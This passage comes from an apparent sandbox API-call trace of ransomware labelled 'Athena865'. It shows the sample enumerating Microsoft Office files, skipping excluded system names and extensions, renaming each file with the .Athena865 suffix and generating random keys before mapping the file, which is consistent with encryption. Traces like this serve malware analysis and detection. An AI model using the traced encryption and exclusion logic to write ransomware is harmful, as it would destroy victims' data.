dwFlags=0x0) returned 1 [0086.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.316] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.317] CloseHandle (hObject=0x154) returned 1 [0086.317] CloseHandle (hObject=0x17c) returned 1 [0086.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.317] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWRECC.DLL", cAlternateFileName="")) returned 1 [0086.317] lstrcmpiW (lpString1="TWRECC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.317] lstrcmpiW (lpString1="TWRECC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.317] lstrcmpiW (lpString1="TWRECC.DLL", lpString2=".") returned 1 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2="..") returned 1 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2="windows") returned -1 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2="bootmgr") returned 1 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2="temp") returned 1 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2="pagefile.sys") returned 1 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2="boot") returned 1 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2="ids.txt") returned 1 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2="ntuser.dat") returned 1 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2="perflogs") returned 1 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2="MSBuild") returned 1 [0086.318] lstrlenW (lpString="TWRECC.DLL") returned 10 [0086.318] lstrcpyW (in: lpString1=0x241e89e, lpString2="TWRECC.DLL" | out: lpString1="TWRECC.DLL") returned="TWRECC.DLL" [0086.318] lstrlenW (lpString="TWRECC.DLL") returned 10 [0086.318] lstrlenW (lpString="Athena865") returned 9 [0086.318] lstrcmpiW (lpString1="WRECC.DLL", lpString2="Athena865") returned 1 [0086.318] lstrlenW (lpString=".dll") returned 4 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2=".dll") returned 1 [0086.318] lstrlenW (lpString=".lnk") returned 4 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2=".lnk") returned 1 [0086.318] lstrlenW (lpString=".ini") returned 4 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2=".ini") returned 1 [0086.318] lstrlenW (lpString=".sys") returned 4 [0086.318] lstrcmpiW (lpString1="TWRECC.DLL", lpString2=".sys") returned 1 [0086.318] lstrlenW (lpString="TWRECC.DLL") returned 10 [0086.318] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\TWRECC.DLL.Athena865") returned 63 [0086.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twrecc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twrecc.dll.athena865"), dwFlags=0x1) returned 1 [0086.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twrecc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.319] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42880) returned 1 [0086.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.320] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.321] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.321] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.321] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaa80, lpName=0x0) returned 0x154 [0086.322] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaa80) returned 0x100000 [0086.324] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.325] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.325] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.326] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.326] CloseHandle (hObject=0x154) returned 1 [0086.326] CloseHandle (hObject=0x17c) returned 1 [0086.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.327] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xf180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWRECE.DLL", cAlternateFileName="")) returned 1 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2=".") returned 1 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2="..") returned 1 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2="windows") returned -1 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2="bootmgr") returned 1 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2="temp") returned 1 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2="pagefile.sys") returned 1 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2="boot") returned 1 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2="ids.txt") returned 1 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2="ntuser.dat") returned 1 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2="perflogs") returned 1 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2="MSBuild") returned 1 [0086.327] lstrlenW (lpString="TWRECE.DLL") returned 10 [0086.327] lstrcpyW (in: lpString1=0x241e89e, lpString2="TWRECE.DLL" | out: lpString1="TWRECE.DLL") returned="TWRECE.DLL" [0086.327] lstrlenW (lpString="TWRECE.DLL") returned 10 [0086.327] lstrlenW (lpString="Athena865") returned 9 [0086.327] lstrcmpiW (lpString1="WRECE.DLL", lpString2="Athena865") returned 1 [0086.327] lstrlenW (lpString=".dll") returned 4 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2=".dll") returned 1 [0086.327] lstrlenW (lpString=".lnk") returned 4 [0086.327] lstrcmpiW (lpString1="TWRECE.DLL", lpString2=".lnk") returned 1 [0086.328] lstrlenW (lpString=".ini") returned 4 [0086.328] lstrcmpiW (lpString1="TWRECE.DLL", lpString2=".ini") returned 1 [0086.328] lstrlenW (lpString=".sys") returned 4 [0086.328] lstrcmpiW (lpString1="TWRECE.DLL", lpString2=".sys") returned 1 [0086.328] lstrlenW (lpString="TWRECE.DLL") returned 10 [0086.328] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\TWRECE.DLL.Athena865") returned 63 [0086.328] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twrece.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twrece.dll.athena865"), dwFlags=0x1) returned 1 [0086.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twrece.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.329] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=61824) returned 1 [0086.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.329] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.330] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.330] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.330] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf480, lpName=0x0) returned 0x154 [0086.331] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf480) returned 0x100000 [0086.336] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.337] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.337] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.338] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.338] CloseHandle (hObject=0x154) returned 1 [0086.338] CloseHandle (hObject=0x17c) returned 1 [0086.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.339] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aedb710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWRECS.DLL", cAlternateFileName="")) returned 1 [0086.339] lstrcmpiW (lpString1="TWRECS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.339] lstrcmpiW (lpString1="TWRECS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.339] lstrcmpiW (lpString1="TWRECS.DLL", lpString2=".") returned 1 [0086.339] lstrcmpiW (lpString1="TWRECS.DLL", lpString2="..") returned 1 [0086.339] lstrcmpiW (lpString1="TWRECS.DLL", lpString2="windows") returned -1 [0086.339] lstrcmpiW (lpString1="TWRECS.DLL", lpString2="bootmgr") returned 1 [0086.339] lstrcmpiW (lpString1="TWRECS.DLL", lpString2="temp") returned 1 [0086.339] lstrcmpiW (lpString1="TWRECS.DLL", lpString2="pagefile.sys") returned 1 [0086.339] lstrcmpiW (lpString1="TWRECS.DLL", lpString2="boot") returned 1 [0086.339] lstrcmpiW (lpString1="TWRECS.DLL", lpString2="ids.txt") returned 1 [0086.339] lstrcmpiW (lpString1="TWRECS.DLL", lpString2="ntuser.dat") returned 1 [0086.339] lstrcmpiW (lpString1="TWRECS.DLL", lpString2="perflogs") returned 1 [0086.339] lstrcmpiW (lpString1="TWRECS.DLL", lpString2="MSBuild") returned 1 [0086.339] lstrlenW (lpString="TWRECS.DLL") returned 10 [0086.339] lstrcpyW (in: lpString1=0x241e89e, lpString2="TWRECS.DLL" | out: lpString1="TWRECS.DLL") returned="TWRECS.DLL" [0086.339] lstrlenW (lpString="TWRECS.DLL") returned 10 [0086.339] lstrlenW (lpString="Athena865") returned 9 [0086.339] lstrcmpiW (lpString1="WRECS.DLL", lpString2="Athena865") returned 1 [0086.339] lstrlenW (lpString=".dll") returned 4 [0086.340] lstrcmpiW (lpString1="TWRECS.DLL", lpString2=".dll") returned 1 [0086.340] lstrlenW (lpString=".lnk") returned 4 [0086.340] lstrcmpiW (lpString1="TWRECS.DLL", lpString2=".lnk") returned 1 [0086.340] lstrlenW (lpString=".ini") returned 4 [0086.340] lstrcmpiW (lpString1="TWRECS.DLL", lpString2=".ini") returned 1 [0086.340] lstrlenW (lpString=".sys") returned 4 [0086.340] lstrcmpiW (lpString1="TWRECS.DLL", lpString2=".sys") returned 1 [0086.340] lstrlenW (lpString="TWRECS.DLL") returned 10 [0086.340] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\TWRECS.DLL.Athena865") returned 63 [0086.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twrecs.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twrecs.dll.athena865"), dwFlags=0x1) returned 1 [0086.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWRECS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twrecs.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.341] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22920) returned 1 [0086.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.342] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.342] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.342] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.342] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.342] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.343] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5c90, lpName=0x0) returned 0x154 [0086.344] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5c90) returned 0x100000 [0086.345] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.346] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.346] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.347] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.347] CloseHandle (hObject=0x154) returned 1 [0086.347] CloseHandle (hObject=0x17c) returned 1 [0086.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.347] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aedb710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1e798, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWSTRUCT.DLL", cAlternateFileName="")) returned 1 [0086.347] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.347] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2=".") returned 1 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2="..") returned 1 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2="windows") returned -1 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2="bootmgr") returned 1 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2="temp") returned 1 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2="pagefile.sys") returned 1 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2="boot") returned 1 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2="ids.txt") returned 1 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2="ntuser.dat") returned 1 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2="perflogs") returned 1 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2="MSBuild") returned 1 [0086.348] lstrlenW (lpString="TWSTRUCT.DLL") returned 12 [0086.348] lstrcpyW (in: lpString1=0x241e89e, lpString2="TWSTRUCT.DLL" | out: lpString1="TWSTRUCT.DLL") returned="TWSTRUCT.DLL" [0086.348] lstrlenW (lpString="TWSTRUCT.DLL") returned 12 [0086.348] lstrlenW (lpString="Athena865") returned 9 [0086.348] lstrcmpiW (lpString1="TRUCT.DLL", lpString2="Athena865") returned 1 [0086.348] lstrlenW (lpString=".dll") returned 4 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2=".dll") returned 1 [0086.348] lstrlenW (lpString=".lnk") returned 4 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2=".lnk") returned 1 [0086.348] lstrlenW (lpString=".ini") returned 4 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2=".ini") returned 1 [0086.348] lstrlenW (lpString=".sys") returned 4 [0086.348] lstrcmpiW (lpString1="TWSTRUCT.DLL", lpString2=".sys") returned 1 [0086.349] lstrlenW (lpString="TWSTRUCT.DLL") returned 12 [0086.349] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\TWSTRUCT.DLL.Athena865") returned 65 [0086.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWSTRUCT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twstruct.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWSTRUCT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twstruct.dll.athena865"), dwFlags=0x1) returned 1 [0086.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWSTRUCT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twstruct.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.350] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=124824) returned 1 [0086.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.350] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.351] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.351] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.351] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1eaa0, lpName=0x0) returned 0x154 [0086.352] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1eaa0) returned 0x100000 [0086.357] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.357] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.357] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.358] 